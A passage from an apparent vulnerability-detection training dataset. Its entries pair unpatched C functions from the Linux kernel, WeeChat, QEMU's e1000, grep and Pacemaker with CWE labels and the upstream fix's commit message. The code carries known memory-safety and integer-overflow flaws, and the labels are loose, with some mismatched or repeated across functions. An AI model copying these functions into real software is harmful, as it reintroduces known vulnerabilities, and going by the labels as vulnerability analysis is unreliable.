dictionary string usage\n\nRaised in chromium, but also affecting xsltproc\nAlso updated AUTHORS to list Chris and other contributors'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int load_script(struct linux_binprm *bprm)\n{\n\tconst char *i_arg, *i_name;\n\tchar *cp;\n\tstruct file *file;\n\tchar interp[BINPRM_BUF_SIZE];\n\tint retval;\n\n\tif ((bprm->buf[0] != '#') || (bprm->buf[1] != '!') ||\n\t (bprm->recursion_depth > BINPRM_MAX_RECURSION))\n\t\treturn -ENOEXEC;\n\t/*\n\t * This section does the #! interpretation.\n\t * Sorta complicated, but hopefully it will work. -TYT\n\t */\n\n\tbprm->recursion_depth++;\n\tallow_write_access(bprm->file);\n\tfput(bprm->file);\n\tbprm->file = NULL;\n\n\tbprm->buf[BINPRM_BUF_SIZE - 1] = '\\0';\n\tif ((cp = strchr(bprm->buf, '\\n')) == NULL)\n\t\tcp = bprm->buf+BINPRM_BUF_SIZE-1;\n\t*cp = '\\0';\n\twhile (cp > bprm->buf) {\n\t\tcp--;\n\t\tif ((*cp == ' ') || (*cp == '\\t'))\n\t\t\t*cp = '\\0';\n\t\telse\n\t\t\tbreak;\n\t}\n\tfor (cp = bprm->buf+2; (*cp == ' ') || (*cp == '\\t'); cp++);\n\tif (*cp == '\\0') \n\t\treturn -ENOEXEC; /* No interpreter name found */\n\ti_name = cp;\n\ti_arg = NULL;\n\tfor ( ; *cp && (*cp != ' ') && (*cp != '\\t'); cp++)\n\t\t/* nothing */ ;\n\twhile ((*cp == ' ') || (*cp == '\\t'))\n\t\t*cp++ = '\\0';\n\tif (*cp)\n\t\ti_arg = cp;\n\tstrcpy (interp, i_name);\n\t/*\n\t * OK, we've parsed out the interpreter name and\n\t * (optional) argument.\n\t * Splice in (1) the interpreter's name for argv[0]\n\t * (2) (optional) argument to interpreter\n\t * (3) filename of shell script (replace argv[0])\n\t *\n\t * This is done in reverse order, because of how the\n\t * user environment and arguments are stored.\n\t */\n\tretval = remove_arg_zero(bprm);\n\tif (retval)\n\t\treturn retval;\n\tretval = copy_strings_kernel(1, &bprm->interp, bprm);\n\tif (retval < 0) return retval; \n\tbprm->argc++;\n\tif (i_arg) {\n\t\tretval = copy_strings_kernel(1, &i_arg, bprm);\n\t\tif (retval < 0) return retval; \n\t\tbprm->argc++;\n\t}\n\tretval = copy_strings_kernel(1, &i_name, bprm);\n\tif (retval) return retval; \n\tbprm->argc++;\n\tbprm->interp = interp;\n\n\t/*\n\t * OK, now restart the process with the interpreter's dentry.\n\t */\n\tfile = open_exec(interp);\n\tif (IS_ERR(file))\n\t\treturn PTR_ERR(file);\n\n\tbprm->file = file;\n\tretval = prepare_binprm(bprm);\n\tif (retval < 0)\n\t\treturn retval;\n\treturn search_binary_handler(bprm);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'exec: use -ELOOP for max recursion depth\n\nTo avoid an explosion of request_module calls on a chain of abusive\nscripts, fail maximum recursion with -ELOOP instead of -ENOEXEC. As soon\nas maximum recursion depth is hit, the error will fail all the way back\nup the chain, aborting immediately.\n\nThis also has the side-effect of stopping the user's shell from attempting\nto reexecute the top-level file as a shell script. As seen in the\ndash source:\n\n if (cmd != path_bshell && errno == ENOEXEC) {\n *argv-- = cmd;\n *argv = cmd = path_bshell;\n goto repeat;\n }\n\nThe above logic was designed for running scripts automatically that lacked\nthe \"#!\" header, not to re-try failed recursion. On a legitimate -ENOEXEC,\nthings continue to behave as the shell expects.\n\nAdditionally, when tracking recursion, the binfmt handlers should not be\ninvolved. The recursion being tracked is the depth of calls through\nsearch_binary_handler(), so that function should be exclusively responsible\nfor tracking the depth.\n\nSigned-off-by: Kees Cook \nCc: halfdog \nCc: P J P \nCc: Alexander Viro \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: irc_color_decode (const char *string, int keep_colors)\n{\n unsigned char *out, *ptr_string;\n int out_length, length, out_pos;\n char str_fg[3], str_bg[3], str_color[128], str_key[128];\n const char *remapped_color;\n int fg, bg, bold, reverse, italic, underline, rc;\n\n out_length = (strlen (string) * 2) + 1;\n out = malloc (out_length);\n if (!out)\n return NULL;\n\n bold = 0;\n reverse = 0;\n italic = 0;\n underline = 0;\n\n ptr_string = (unsigned char *)string;\n out[0] = '\\0';\n while (ptr_string && ptr_string[0])\n {\n switch (ptr_string[0])\n {\n case IRC_COLOR_BOLD_CHAR:\n if (keep_colors)\n strcat ((char *)out,\n weechat_color((bold) ? \"-bold\" : \"bold\"));\n bold ^= 1;\n ptr_string++;\n break;\n case IRC_COLOR_RESET_CHAR:\n if (keep_colors)\n strcat ((char *)out, weechat_color(\"reset\"));\n bold = 0;\n reverse = 0;\n italic = 0;\n underline = 0;\n ptr_string++;\n break;\n case IRC_COLOR_FIXED_CHAR:\n ptr_string++;\n break;\n case IRC_COLOR_REVERSE_CHAR:\n case IRC_COLOR_REVERSE2_CHAR:\n if (keep_colors)\n strcat ((char *)out,\n weechat_color((reverse) ? \"-reverse\" : \"reverse\"));\n reverse ^= 1;\n ptr_string++;\n break;\n case IRC_COLOR_ITALIC_CHAR:\n if (keep_colors)\n strcat ((char *)out,\n weechat_color((italic) ? \"-italic\" : \"italic\"));\n italic ^= 1;\n ptr_string++;\n break;\n case IRC_COLOR_UNDERLINE_CHAR:\n if (keep_colors)\n strcat ((char *)out,\n weechat_color((underline) ? \"-underline\" : \"underline\"));\n underline ^= 1;\n ptr_string++;\n break;\n case IRC_COLOR_COLOR_CHAR:\n ptr_string++;\n str_fg[0] = '\\0';\n str_bg[0] = '\\0';\n if (isdigit (ptr_string[0]))\n {\n str_fg[0] = ptr_string[0];\n str_fg[1] = '\\0';\n ptr_string++;\n if (isdigit (ptr_string[0]))\n {\n str_fg[1] = ptr_string[0];\n str_fg[2] = '\\0';\n ptr_string++;\n }\n }\n if ((ptr_string[0] == ',') && (isdigit (ptr_string[1])))\n {\n ptr_string++;\n str_bg[0] = ptr_string[0];\n str_bg[1] = '\\0';\n ptr_string++;\n if (isdigit (ptr_string[0]))\n {\n str_bg[1] = ptr_string[0];\n str_bg[2] = '\\0';\n ptr_string++;\n }\n }\n if (keep_colors)\n {\n if (str_fg[0] || str_bg[0])\n {\n fg = -1;\n bg = -1;\n if (str_fg[0])\n {\n rc = sscanf (str_fg, \"%d\", &fg);\n if ((rc != EOF) && (rc >= 1))\n {\n fg %= IRC_NUM_COLORS;\n }\n }\n if (str_bg[0])\n {\n rc = sscanf (str_bg, \"%d\", &bg);\n if ((rc != EOF) && (rc >= 1))\n {\n bg %= IRC_NUM_COLORS;\n }\n }\n /* search \"fg,bg\" in hashtable of remapped colors */\n snprintf (str_key, sizeof (str_key), \"%d,%d\", fg, bg);\n remapped_color = weechat_hashtable_get (\n irc_config_hashtable_color_mirc_remap,\n str_key);\n if (remapped_color)\n {\n snprintf (str_color, sizeof (str_color),\n \"|%s\", remapped_color);\n }\n else\n {\n snprintf (str_color, sizeof (str_color),\n \"|%s%s%s\",\n (fg >= 0) ? irc_color_to_weechat[fg] : \"\",\n (bg >= 0) ? \",\" : \"\",\n (bg >= 0) ? irc_color_to_weechat[bg] : \"\");\n }\n strcat ((char *)out, weechat_color(str_color));\n }\n else\n strcat ((char *)out, weechat_color(\"resetcolor\"));\n }\n break;\n default:\n length = weechat_utf8_char_size ((char *)ptr_string);\n if (length == 0)\n length = 1;\n out_pos = strlen ((char *)out);\n memcpy (out + out_pos, ptr_string, length);\n out[out_pos + length] = '\\0';\n ptr_string += length;\n break;\n }\n }\n\n return (char *)out;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'irc: fix crash when decoding IRC colors in strings (bug #37704)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: e1000_receive(NetClientState *nc, const uint8_t *buf, size_t size)\n{\n E1000State *s = DO_UPCAST(NICState, nc, nc)->opaque;\n struct e1000_rx_desc desc;\n dma_addr_t base;\n unsigned int n, rdt;\n uint32_t rdh_start;\n uint16_t vlan_special = 0;\n uint8_t vlan_status = 0, vlan_offset = 0;\n uint8_t min_buf[MIN_BUF_SIZE];\n size_t desc_offset;\n size_t desc_size;\n size_t total_size;\n\n if (!(s->mac_reg[RCTL] & E1000_RCTL_EN))\n return -1;\n\n /* Pad to minimum Ethernet frame length */\n if (size < sizeof(min_buf)) {\n memcpy(min_buf, buf, size);\n memset(&min_buf[size], 0, sizeof(min_buf) - size);\n buf = min_buf;\n size = sizeof(min_buf);\n }\n\n /* Discard oversized packets if !LPE and !SBP. */\n if (size > MAXIMUM_ETHERNET_VLAN_SIZE\n && !(s->mac_reg[RCTL] & E1000_RCTL_LPE)\n && !(s->mac_reg[RCTL] & E1000_RCTL_SBP)) {\n return size;\n }\n\n if (!receive_filter(s, buf, size))\n return size;\n\n if (vlan_enabled(s) && is_vlan_packet(s, buf)) {\n vlan_special = cpu_to_le16(be16_to_cpup((uint16_t *)(buf + 14)));\n memmove((uint8_t *)buf + 4, buf, 12);\n vlan_status = E1000_RXD_STAT_VP;\n vlan_offset = 4;\n size -= 4;\n }\n\n rdh_start = s->mac_reg[RDH];\n desc_offset = 0;\n total_size = size + fcs_len(s);\n if (!e1000_has_rxbufs(s, total_size)) {\n set_ics(s, 0, E1000_ICS_RXO);\n return -1;\n }\n do {\n desc_size = total_size - desc_offset;\n if (desc_size > s->rxbuf_size) {\n desc_size = s->rxbuf_size;\n }\n base = rx_desc_base(s) + sizeof(desc) * s->mac_reg[RDH];\n pci_dma_read(&s->dev, base, &desc, sizeof(desc));\n desc.special = vlan_special;\n desc.status |= (vlan_status | E1000_RXD_STAT_DD);\n if (desc.buffer_addr) {\n if (desc_offset < size) {\n size_t copy_size = size - desc_offset;\n if (copy_size > s->rxbuf_size) {\n copy_size = s->rxbuf_size;\n }\n pci_dma_write(&s->dev, le64_to_cpu(desc.buffer_addr),\n buf + desc_offset + vlan_offset, copy_size);\n }\n desc_offset += desc_size;\n desc.length = cpu_to_le16(desc_size);\n if (desc_offset >= total_size) {\n desc.status |= E1000_RXD_STAT_EOP | E1000_RXD_STAT_IXSM;\n } else {\n /* Guest zeroing out status is not a hardware requirement.\n Clear EOP in case guest didn't do it. */\n desc.status &= ~E1000_RXD_STAT_EOP;\n }\n } else { // as per intel docs; skip descriptors with null buf addr\n DBGOUT(RX, \"Null RX descriptor!!\\n\");\n }\n pci_dma_write(&s->dev, base, &desc, sizeof(desc));\n\n if (++s->mac_reg[RDH] * sizeof(desc) >= s->mac_reg[RDLEN])\n s->mac_reg[RDH] = 0;\n /* see comment in start_xmit; same here */\n if (s->mac_reg[RDH] == rdh_start) {\n DBGOUT(RXERR, \"RDH wraparound @%x, RDT %x, RDLEN %x\\n\",\n rdh_start, s->mac_reg[RDT], s->mac_reg[RDLEN]);\n set_ics(s, 0, E1000_ICS_RXO);\n return -1;\n }\n } while (desc_offset < total_size);\n\n s->mac_reg[GPRC]++;\n s->mac_reg[TPR]++;\n /* TOR - Total Octets Received:\n * This register includes bytes received in a packet from the field through the field, inclusively.\n */\n n = s->mac_reg[TORL] + size + /* Always include FCS length. */ 4;\n if (n < s->mac_reg[TORL])\n s->mac_reg[TORH]++;\n s->mac_reg[TORL] = n;\n\n n = E1000_ICS_RXT0;\n if ((rdt = s->mac_reg[RDT]) < s->mac_reg[RDH])\n rdt += s->mac_reg[RDLEN] / sizeof(desc);\n if (((rdt - s->mac_reg[RDH]) * sizeof(desc)) <= s->mac_reg[RDLEN] >>\n s->rxbuf_min_shift)\n n |= E1000_ICS_RXDMT0;\n\n set_ics(s, 0, n);\n\n return size;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'e1000: Discard oversized packets based on SBP|LPE\n\nDiscard packets longer than 16384 when !SBP to match the hardware behavior.\n\nSigned-off-by: Michael Contreras \nSigned-off-by: Stefan Hajnoczi '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: charclass_index (charclass const s)\n{\n int i;\n\n for (i = 0; i < dfa->cindex; ++i)\n if (equal(s, dfa->charclasses[i]))\n return i;\n REALLOC_IF_NECESSARY(dfa->charclasses, dfa->calloc, dfa->cindex + 1);\n ++dfa->cindex;\n copyset(s, dfa->charclasses[i]);\n return i;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'grep: fix some core dumps with long lines etc.\n\nThese problems mostly occur because the code attempts to stuff\nsizes into int or into unsigned int; this doesn't work on most\n64-bit hosts and the errors can lead to core dumps.\n* NEWS: Document this.\n* src/dfa.c (token): Typedef to ptrdiff_t, since the enum's\nrange could be as small as -128 .. 127 on practical hosts.\n(position.index): Now size_t, not unsigned int.\n(leaf_set.elems): Now size_t *, not unsigned int *.\n(dfa_state.hash, struct mb_char_classes.nchars, .nch_classes)\n(.nranges, .nequivs, .ncoll_elems, struct dfa.cindex, .calloc, .tindex)\n(.talloc, .depth, .nleaves, .nregexps, .nmultibyte_prop, .nmbcsets):\n(.mbcsets_alloc): Now size_t, not int.\n(dfa_state.first_end): Now token, not int.\n(state_num): New type.\n(struct mb_char_classes.cset): Now ptrdiff_t, not int.\n(struct dfa.utf8_anychar_classes): Now token[5], not int[5].\n(struct dfa.sindex, .salloc, .tralloc): Now state_num, not int.\n(struct dfa.trans, .realtrans, .fails): Now state_num **, not int **.\n(struct dfa.newlines): Now state_num *, not int *.\n(prtok): Don't assume 'token' is no wider than int.\n(lexleft, parens, depth): Now size_t, not int.\n(charclass_index, nsubtoks)\n(parse_bracket_exp, addtok, copytoks, closure, insert, merge, delete)\n(state_index, epsclosure, state_separate_contexts)\n(dfaanalyze, dfastate, build_state, realloc_trans_if_necessary)\n(transit_state_singlebyte, match_anychar, match_mb_charset)\n(check_matching_with_multibyte_ops, transit_state_consume_1char)\n(transit_state, dfaexec, free_mbdata, dfaoptimize, dfafree)\n(freelist, enlist, addlists, inboth, dfamust):\nDon't assume indexes fit in 'int'.\n(lex): Avoid overflow in string-to-{hi,lo} conversions.\n(dfaanalyze): Redo indexing so that it works with size_t values,\nwhich cannot go negative.\n* src/dfa.h (dfaexec): Count argument is now size_t *, not int *.\n(dfastate): State numbers are now ptrdiff_t, not int.\n* src/dfasearch.c: Include \"intprops.h\", for TYPE_MAXIMUM.\n(kwset_exact_matches): Now size_t, not int.\n(EGexecute): Don't assume indexes fit in 'int'.\nCheck for overflow before converting a ptrdiff_t to a regoff_t,\nas regoff_t is narrower than ptrdiff_t in 64-bit glibc (contra POSIX).\nCheck for memory exhaustion in re_search rather than treating\nit merely as failure to match; use xalloc_die () to report any error.\n* src/kwset.c (struct trie.accepting): Now size_t, not unsigned int.\n(struct kwset.words): Now ptrdiff_t, not int.\n* src/kwset.h (struct kwsmatch.index): Now size_t, not int.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: match_anychar (struct dfa *d, int s, position pos, int idx)\n{\n int context;\n wchar_t wc;\n int mbclen;\n\n wc = inputwcs[idx];\n mbclen = (mblen_buf[idx] == 0)? 1 : mblen_buf[idx];\n\n /* Check syntax bits. */\n if (wc == (wchar_t)eolbyte)\n {\n if (!(syntax_bits & RE_DOT_NEWLINE))\n return 0;\n }\n else if (wc == (wchar_t)'\\0')\n {\n if (syntax_bits & RE_DOT_NOT_NULL)\n return 0;\n }\n\n context = wchar_context(wc);\n if (!SUCCEEDS_IN_CONTEXT(pos.constraint, d->states[s].context, context))\n return 0;\n\n return mbclen;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'grep: fix some core dumps with long lines etc.\n\nThese problems mostly occur because the code attempts to stuff\nsizes into int or into unsigned int; this doesn't work on most\n64-bit hosts and the errors can lead to core dumps.\n* NEWS: Document this.\n* src/dfa.c (token): Typedef to ptrdiff_t, since the enum's\nrange could be as small as -128 .. 127 on practical hosts.\n(position.index): Now size_t, not unsigned int.\n(leaf_set.elems): Now size_t *, not unsigned int *.\n(dfa_state.hash, struct mb_char_classes.nchars, .nch_classes)\n(.nranges, .nequivs, .ncoll_elems, struct dfa.cindex, .calloc, .tindex)\n(.talloc, .depth, .nleaves, .nregexps, .nmultibyte_prop, .nmbcsets):\n(.mbcsets_alloc): Now size_t, not int.\n(dfa_state.first_end): Now token, not int.\n(state_num): New type.\n(struct mb_char_classes.cset): Now ptrdiff_t, not int.\n(struct dfa.utf8_anychar_classes): Now token[5], not int[5].\n(struct dfa.sindex, .salloc, .tralloc): Now state_num, not int.\n(struct dfa.trans, .realtrans, .fails): Now state_num **, not int **.\n(struct dfa.newlines): Now state_num *, not int *.\n(prtok): Don't assume 'token' is no wider than int.\n(lexleft, parens, depth): Now size_t, not int.\n(charclass_index, nsubtoks)\n(parse_bracket_exp, addtok, copytoks, closure, insert, merge, delete)\n(state_index, epsclosure, state_separate_contexts)\n(dfaanalyze, dfastate, build_state, realloc_trans_if_necessary)\n(transit_state_singlebyte, match_anychar, match_mb_charset)\n(check_matching_with_multibyte_ops, transit_state_consume_1char)\n(transit_state, dfaexec, free_mbdata, dfaoptimize, dfafree)\n(freelist, enlist, addlists, inboth, dfamust):\nDon't assume indexes fit in 'int'.\n(lex): Avoid overflow in string-to-{hi,lo} conversions.\n(dfaanalyze): Redo indexing so that it works with size_t values,\nwhich cannot go negative.\n* src/dfa.h (dfaexec): Count argument is now size_t *, not int *.\n(dfastate): State numbers are now ptrdiff_t, not int.\n* src/dfasearch.c: Include \"intprops.h\", for TYPE_MAXIMUM.\n(kwset_exact_matches): Now size_t, not int.\n(EGexecute): Don't assume indexes fit in 'int'.\nCheck for overflow before converting a ptrdiff_t to a regoff_t,\nas regoff_t is narrower than ptrdiff_t in 64-bit glibc (contra POSIX).\nCheck for memory exhaustion in re_search rather than treating\nit merely as failure to match; use xalloc_die () to report any error.\n* src/kwset.c (struct trie.accepting): Now size_t, not unsigned int.\n(struct kwset.words): Now ptrdiff_t, not int.\n* src/kwset.h (struct kwsmatch.index): Now size_t, not int.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: EGexecute (char const *buf, size_t size, size_t *match_size,\n char const *start_ptr)\n{\n char const *buflim, *beg, *end, *match, *best_match, *mb_start;\n char eol = eolbyte;\n int backref, start, len, best_len;\n struct kwsmatch kwsm;\n size_t i, ret_val;\n if (MB_CUR_MAX > 1)\n {\n if (match_icase)\n {\n /* mbtolower adds a NUL byte at the end. That will provide\n space for the sentinel byte dfaexec may add. */\n char *case_buf = mbtolower (buf, &size);\n if (start_ptr)\n start_ptr = case_buf + (start_ptr - buf);\n buf = case_buf;\n }\n }\n\n mb_start = buf;\n buflim = buf + size;\n\n for (beg = end = buf; end < buflim; beg = end)\n {\n if (!start_ptr)\n {\n /* We don't care about an exact match. */\n if (kwset)\n {\n /* Find a possible match using the KWset matcher. */\n size_t offset = kwsexec (kwset, beg, buflim - beg, &kwsm);\n if (offset == (size_t) -1)\n goto failure;\n beg += offset;\n /* Narrow down to the line containing the candidate, and\n run it through DFA. */\n if ((end = memchr(beg, eol, buflim - beg)) != NULL)\n end++;\n else\n end = buflim;\n match = beg;\n while (beg > buf && beg[-1] != eol)\n --beg;\n if (kwsm.index < kwset_exact_matches)\n {\n if (!MBS_SUPPORT)\n goto success;\n\n if (mb_start < beg)\n mb_start = beg;\n if (MB_CUR_MAX == 1\n || !is_mb_middle (&mb_start, match, buflim,\n kwsm.size[0]))\n goto success;\n }\n if (dfaexec (dfa, beg, (char *) end, 0, NULL, &backref) == NULL)\n continue;\n }\n else\n {\n /* No good fixed strings; start with DFA. */\n char const *next_beg = dfaexec (dfa, beg, (char *) buflim,\n 0, NULL, &backref);\n if (next_beg == NULL)\n break;\n /* Narrow down to the line we've found. */\n beg = next_beg;\n if ((end = memchr(beg, eol, buflim - beg)) != NULL)\n end++;\n else\n end = buflim;\n while (beg > buf && beg[-1] != eol)\n --beg;\n }\n /* Successful, no backreferences encountered! */\n if (!backref)\n goto success;\n }\n else\n {\n /* We are looking for the leftmost (then longest) exact match.\n We will go through the outer loop only once. */\n beg = start_ptr;\n end = buflim;\n }\n\n /* If we've made it to this point, this means DFA has seen\n a probable match, and we need to run it through Regex. */\n best_match = end;\n best_len = 0;\n for (i = 0; i < pcount; i++)\n {\n patterns[i].regexbuf.not_eol = 0;\n if (0 <= (start = re_search (&(patterns[i].regexbuf),\n buf, end - buf - 1,\n beg - buf, end - beg - 1,\n &(patterns[i].regs))))\n {\n len = patterns[i].regs.end[0] - start;\n match = buf + start;\n if (match > best_match)\n continue;\n if (start_ptr && !match_words)\n goto assess_pattern_match;\n if ((!match_lines && !match_words)\n || (match_lines && len == end - beg - 1))\n {\n match = beg;\n len = end - beg;\n goto assess_pattern_match;\n }\n /* If -w, check if the match aligns with word boundaries.\n We do this iteratively because:\n (a) the line may contain more than one occurence of the\n pattern, and\n (b) Several alternatives in the pattern might be valid at a\n given point, and we may need to consider a shorter one to\n find a word boundary. */\n if (match_words)\n while (match <= best_match)\n {\n if ((match == buf || !WCHAR ((unsigned char) match[-1]))\n && (start + len == end - buf - 1\n || !WCHAR ((unsigned char) match[len])))\n goto assess_pattern_match;\n if (len > 0)\n {\n /* Try a shorter length anchored at the same place. */\n --len;\n patterns[i].regexbuf.not_eol = 1;\n len = re_match (&(patterns[i].regexbuf),\n buf, match + len - beg, match - buf,\n &(patterns[i].regs));\n }\n if (len <= 0)\n {\n /* Try looking further on. */\n if (match == end - 1)\n break;\n match++;\n patterns[i].regexbuf.not_eol = 0;\n start = re_search (&(patterns[i].regexbuf),\n buf, end - buf - 1,\n match - buf, end - match - 1,\n &(patterns[i].regs));\n if (start < 0)\n break;\n len = patterns[i].regs.end[0] - start;\n match = buf + start;\n }\n } /* while (match <= best_match) */\n continue;\n assess_pattern_match:\n if (!start_ptr)\n {\n /* Good enough for a non-exact match.\n No need to look at further patterns, if any. */\n goto success;\n }\n if (match < best_match || (match == best_match && len > best_len))\n {\n /* Best exact match: leftmost, then longest. */\n best_match = match;\n best_len = len;\n }\n } /* if re_search >= 0 */\n } /* for Regex patterns. */\n if (best_match < end)\n {\n /* We have found an exact match. We were just\n waiting for the best one (leftmost then longest). */\n beg = best_match;\n len = best_len;\n goto success_in_len;\n }\n } /* for (beg = end ..) */\n\n failure:\n ret_val = -1;\n goto out;\n\n success:\n len = end - beg;\n success_in_len:\n *match_size = len;\n ret_val = beg - buf;\n out:\n return ret_val;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'grep: fix some core dumps with long lines etc.\n\nThese problems mostly occur because the code attempts to stuff\nsizes into int or into unsigned int; this doesn't work on most\n64-bit hosts and the errors can lead to core dumps.\n* NEWS: Document this.\n* src/dfa.c (token): Typedef to ptrdiff_t, since the enum's\nrange could be as small as -128 .. 127 on practical hosts.\n(position.index): Now size_t, not unsigned int.\n(leaf_set.elems): Now size_t *, not unsigned int *.\n(dfa_state.hash, struct mb_char_classes.nchars, .nch_classes)\n(.nranges, .nequivs, .ncoll_elems, struct dfa.cindex, .calloc, .tindex)\n(.talloc, .depth, .nleaves, .nregexps, .nmultibyte_prop, .nmbcsets):\n(.mbcsets_alloc): Now size_t, not int.\n(dfa_state.first_end): Now token, not int.\n(state_num): New type.\n(struct mb_char_classes.cset): Now ptrdiff_t, not int.\n(struct dfa.utf8_anychar_classes): Now token[5], not int[5].\n(struct dfa.sindex, .salloc, .tralloc): Now state_num, not int.\n(struct dfa.trans, .realtrans, .fails): Now state_num **, not int **.\n(struct dfa.newlines): Now state_num *, not int *.\n(prtok): Don't assume 'token' is no wider than int.\n(lexleft, parens, depth): Now size_t, not int.\n(charclass_index, nsubtoks)\n(parse_bracket_exp, addtok, copytoks, closure, insert, merge, delete)\n(state_index, epsclosure, state_separate_contexts)\n(dfaanalyze, dfastate, build_state, realloc_trans_if_necessary)\n(transit_state_singlebyte, match_anychar, match_mb_charset)\n(check_matching_with_multibyte_ops, transit_state_consume_1char)\n(transit_state, dfaexec, free_mbdata, dfaoptimize, dfafree)\n(freelist, enlist, addlists, inboth, dfamust):\nDon't assume indexes fit in 'int'.\n(lex): Avoid overflow in string-to-{hi,lo} conversions.\n(dfaanalyze): Redo indexing so that it works with size_t values,\nwhich cannot go negative.\n* src/dfa.h (dfaexec): Count argument is now size_t *, not int *.\n(dfastate): State numbers are now ptrdiff_t, not int.\n* src/dfasearch.c: Include \"intprops.h\", for TYPE_MAXIMUM.\n(kwset_exact_matches): Now size_t, not int.\n(EGexecute): Don't assume indexes fit in 'int'.\nCheck for overflow before converting a ptrdiff_t to a regoff_t,\nas regoff_t is narrower than ptrdiff_t in 64-bit glibc (contra POSIX).\nCheck for memory exhaustion in re_search rather than treating\nit merely as failure to match; use xalloc_die () to report any error.\n* src/kwset.c (struct trie.accepting): Now size_t, not unsigned int.\n(struct kwset.words): Now ptrdiff_t, not int.\n* src/kwset.h (struct kwsmatch.index): Now size_t, not int.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: prtext (char const *beg, char const *lim, int *nlinesp)\n{\n static int used;\t/* avoid printing SEP_STR_GROUP before any output */\n char const *bp, *p;\n char eol = eolbyte;\n int i, n;\n\n if (!out_quiet && pending > 0)\n prpending (beg);\n\n p = beg;\n\n if (!out_quiet)\n {\n /* Deal with leading context crap. */\n\n bp = lastout ? lastout : bufbeg;\n for (i = 0; i < out_before; ++i)\n if (p > bp)\n do\n --p;\n while (p[-1] != eol);\n\n /* We print the SEP_STR_GROUP separator only if our output is\n discontiguous from the last output in the file. */\n if ((out_before || out_after) && used && p != lastout && group_separator)\n {\n pr_sgr_start_if (sep_color);\n fputs (group_separator, stdout);\n pr_sgr_end_if (sep_color);\n fputc ('\\n', stdout);\n }\n\n while (p < beg)\n {\n char const *nl = memchr (p, eol, beg - p);\n nl++;\n prline (p, nl, SEP_CHAR_REJECTED);\n p = nl;\n }\n }\n\n if (nlinesp)\n {\n /* Caller wants a line count. */\n for (n = 0; p < lim && n < outleft; n++)\n {\n char const *nl = memchr (p, eol, lim - p);\n nl++;\n if (!out_quiet)\n prline (p, nl, SEP_CHAR_SELECTED);\n p = nl;\n }\n *nlinesp = n;\n\n /* relying on it that this function is never called when outleft = 0. */\n after_last_match = bufoffset - (buflim - p);\n }\n else if (!out_quiet)\n prline (beg, lim, SEP_CHAR_SELECTED);\n\n pending = out_quiet ? 0 : out_after;\n used = 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'grep: fix integer-overflow issues in main program\n\n* NEWS: Document this.\n* bootstrap.conf (gnulib_modules): Add inttypes, xstrtoimax.\nRemove xstrtoumax.\n* src/main.c: Include , for INTMAX_MAX, PRIdMAX.\n(context_length_arg, prtext, grepbuf, grep, grepfile)\n(get_nondigit_option, main):\nUse intmax_t, not int, for line counts.\n(context_length_arg, main): Silently ceiling line counts\nto maximum value, since there's no practical difference between\ndoing that and using infinite-precision arithmetic.\n(out_before, out_after, pending): Now intmax_t, not int.\n(max_count, outleft): Now intmax_t, not off_t.\n(prepend_args, prepend_default_options, main):\nUse size_t, not int, for sizes.\n(prepend_default_options): Check for int and size_t overflow.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: cib_remote_connection_destroy(gpointer user_data)\n{\n cib_client_t *client = user_data;\n\n if (client == NULL) {\n return;\n }\n\n crm_trace(\"Cleaning up after client disconnect: %s/%s\",\n crm_str(client->name), client->id);\n\n if (client->id != NULL) {\n if (!g_hash_table_remove(client_list, client->id)) {\n crm_err(\"Client %s not found in the hashtable\", client->name);\n }\n }\n\n crm_trace(\"Destroying %s (%p)\", client->name, user_data);\n num_clients--;\n crm_trace(\"Num unfree'd clients: %d\", num_clients);\n free(client->name);\n free(client->callback_id);\n free(client->id);\n free(client->user);\n free(client);\n crm_trace(\"Freed the cib client\");\n\n if (cib_shutdown_flag) {\n cib_shutdown(0);\n }\n return;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'High: core: Internal tls api improvements for reuse with future LRMD tls backend.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: cib_timeout_handler(gpointer data)\n{\n struct timer_rec_s *timer = 